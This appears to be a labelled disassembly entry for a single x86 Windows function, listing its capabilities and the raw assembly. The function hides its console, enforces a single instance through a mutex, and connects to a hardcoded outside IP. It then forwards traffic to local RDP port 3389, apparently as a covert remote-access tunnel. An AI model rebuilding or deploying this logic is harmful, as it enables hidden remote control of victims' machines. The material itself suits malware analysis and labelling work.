Function at 0x401cd0
Capabilities:
Act as tcp client
Check mutex on windows
Connect tcp socket
Connect udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x418fb0
push 0x4035a0
mov eax, dword fs:[0]
push eax
sub esp, 0x478
mov eax, dword [0x41a004]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, dword [ebp + 0xc]
push str.8iwUDMK0kskwUK14WEKAI9NDMHS474KAEJKN6QDIWDAP8
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
cmp eax, 0xb7
sete dl
xor ecx, ecx
test esi, esi
sete cl
or edx, ecx
jne 0x402109
movq xmm0, qword [str.167.88.173.88]
movq qword [ebp - 0x50], xmm0
mov eax, dword [0x4188e8]
mov dword [ebp - 0x48], eax
movzx eax, word [0x4188ec]
mov word [ebp - 0x44], ax
xorps xmm0, xmm0
movups xmmword [ebp - 0x42], xmm0
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], edx
movq xmm0, qword [str.127.0.0.1]
movq qword [ebp - 0x84], xmm0
movzx eax, word [0x4188f8]
mov word [ebp - 0x7c], ax
xorps xmm0, xmm0
movups xmmword [ebp - 0x7a], xmm0
movups xmmword [ebp - 0x6a], xmm0
movq qword [ebp - 0x5a], xmm0
mov dword [ebp - 0x44c], 0x1bb
mov dword [ebp - 0x450], 0xd3d
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x444], edx
mov dword [ebp - 0x448], edx
mov dword [ebp - 0x288], 2
mov byte [ebp - 0x284], 0x68
mov dword [ebp - 0x280], str.help
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x278], str.show_this_help_message_and_exit
mov dword [ebp - 0x274], 0x4019f0
mov dword [ebp - 0x270], edx
mov dword [ebp - 0x26c], 1
mov dword [ebp - 0x268], 1
mov byte [ebp - 0x264], dl
mov dword [ebp - 0x260], edx
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x258], str.Basic_options
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x248], 6
mov byte [ebp - 0x244], 0x72
mov dword [ebp - 0x240], str.Server_IP
lea eax, [ebp - 0x444]
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], str.Must_set_the_ip_string
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x22c], edx
mov dword [ebp - 0x228], 6
mov byte [ebp - 0x224], 0x6c
mov dword [ebp - 0x220], str.Target_IP_for_forwarding.
lea eax, [ebp - 0x448]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], str.If_it_is_remote_ip__need_open_forward_port_on_that.
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x20c], edx
mov dword [ebp - 0x208], 4
mov byte [ebp - 0x204], 0x70
mov dword [ebp - 0x200], str.Port_for_forward
lea eax, [ebp - 0x450]
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], str.default_3389___RDP
mov dword [ebp - 0x1f4], edx
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e8], 4
mov byte [ebp - 0x1e4], 0x73
mov dword [ebp - 0x1e0], str.Port_for_connecting_to_server
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], str.default_9832__hope_to_not_change.
mov dword [ebp - 0x1d4], edx
mov dword [ebp - 0x1d0], edx
mov dword [ebp - 0x1cc], edx
mov dword [ebp - 0x1c8], 2
mov byte [ebp - 0x1c4], 0x69
mov dword [ebp - 0x1c0], str.install_option_for_rdpwrap_patch_and_auto_update.
lea eax, [ebp - 0x454]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1b8], str.default_false
movq qword [ebp - 0x1b4], xmm0
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a8], edx
mov byte [ebp - 0x1a4], dl
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], edx
mov dword [ebp - 0x190], edx
mov dword [ebp - 0x18c], edx
movups xmmword [ebp - 0x488], xmm0
movups xmmword [ebp - 0x478], xmm0
movq qword [ebp - 0x468], xmm0
lea eax, [ebp - 0x288]
mov dword [ebp - 0x488], eax
mov dword [ebp - str._option1_value1__option2_value2_...], 0x418ae8
mov dword [ebp - 0x480], edx
mov dword [ebp - 0x47c], str._nA_brief_description_of_what_the_program_does_and_how_it_works.
mov dword [ebp - 0x478], str._nAdditional_description_of_the_program_after_the_description_of_the_arguments.
push edi
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x488]
call fcn.00401560
add esp, 4
mov eax, dword [ebp - 0x444]
test eax, eax
je 0x402024
push eax
push 0x32
lea eax, [ebp - 0x50]
push eax
call fcn.004068a8
add esp, 0xc
mov eax, dword [ebp - 0x448]
test eax, eax
je 0x402040
push eax
push 0x32
lea eax, [ebp - 0x84]
push eax
call fcn.004068a8
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x188]
push eax
call fcn.00403750
add esp, 0xc
lea ecx, [ebp - 0x188]
call fcn.00401bf0
test al, al
je 0x402109
mov esi, 2
mov word [ebp - 0x2a8], si
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x2a4], eax
push dword [ebp - 0x44c]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2a6], ax
mov byte [ebp - 0x439], 1
xor edi, edi
mov dword [ebp - 0x440], edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop word [eax + eax]
mov al, byte [ebp - 0x439]
cmp edi, 0x8ca0
jb 0x4020d2
test al, al
je 0x402109
mov dword [ebp - 4], 0
test al, al
je 0x4020e4
push 0x12c
jmp 0x4020e6
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x438]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402127
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0040237e
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x41b210], eax
push 0x10
lea ecx, [ebp - 0x2a8]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402166
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
inc edi
mov dword [ebp - 0x440], edi
mov dword [ebp - 4], 0xfffffffe
jmp 0x4020c0
mov dword [ebp - 0x458], 0x8f3dacf7
push 0
push 4
lea eax, [ebp - 0x458]
push eax
push dword [0x41b210]
call dword [sym.imp.WS2_32.dll_send]
lea eax, [ebp - 0x188]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402190
sub eax, edx
push 0
push eax
lea eax, [ebp - 0x188]
push eax
push dword [0x41b210]
call dword [sym.imp.WS2_32.dll_send]
xor edi, edi
mov dword [ebp - 0x440], edi
mov byte [ebp - 0x439], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x41b20c], eax
xor eax, eax
mov word [ebp - 0x298], ax
xorps xmm0, xmm0
movq qword [ebp - 0x296], xmm0
mov dword [ebp - 0x28e], eax
mov word [ebp - 0x28a], ax
mov word [ebp - 0x298], si
push str.127.0.0.1
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x294], eax
push dword [ebp - 0x450]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x296], ax
push 0x10
lea eax, [ebp - 0x298]
push eax
push dword [0x41b20c]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402283
mov dword [0x41b200], 1
lea eax, [ebp - 0x45c]
push eax
push edi
push edi
push 0x401a10
push edi
push edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
call esi
test eax, eax
je 0x402283
lea eax, [ebp - 0x460]
push eax
push edi
push edi
push 0x401b00
push edi
push edi
call esi
mov esi, eax
nop
cmp dword [0x41b200], edi
je 0x402283
push 0x64
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402270
mov dword [0x41b200], edi
mov dword [ebp - 4], 1
mov eax, dword [0x41b204]
test eax, eax
je 0x4022a2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x41b208]
test eax, eax
je 0x4022b4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x41b210]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
call esi
push dword [0x41b20c]
call esi
mov dword [ebp - 4], 0
jmp 0x4022e7
mov esi, 2
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 4], 0xfffffffe
jmp 0x4020c0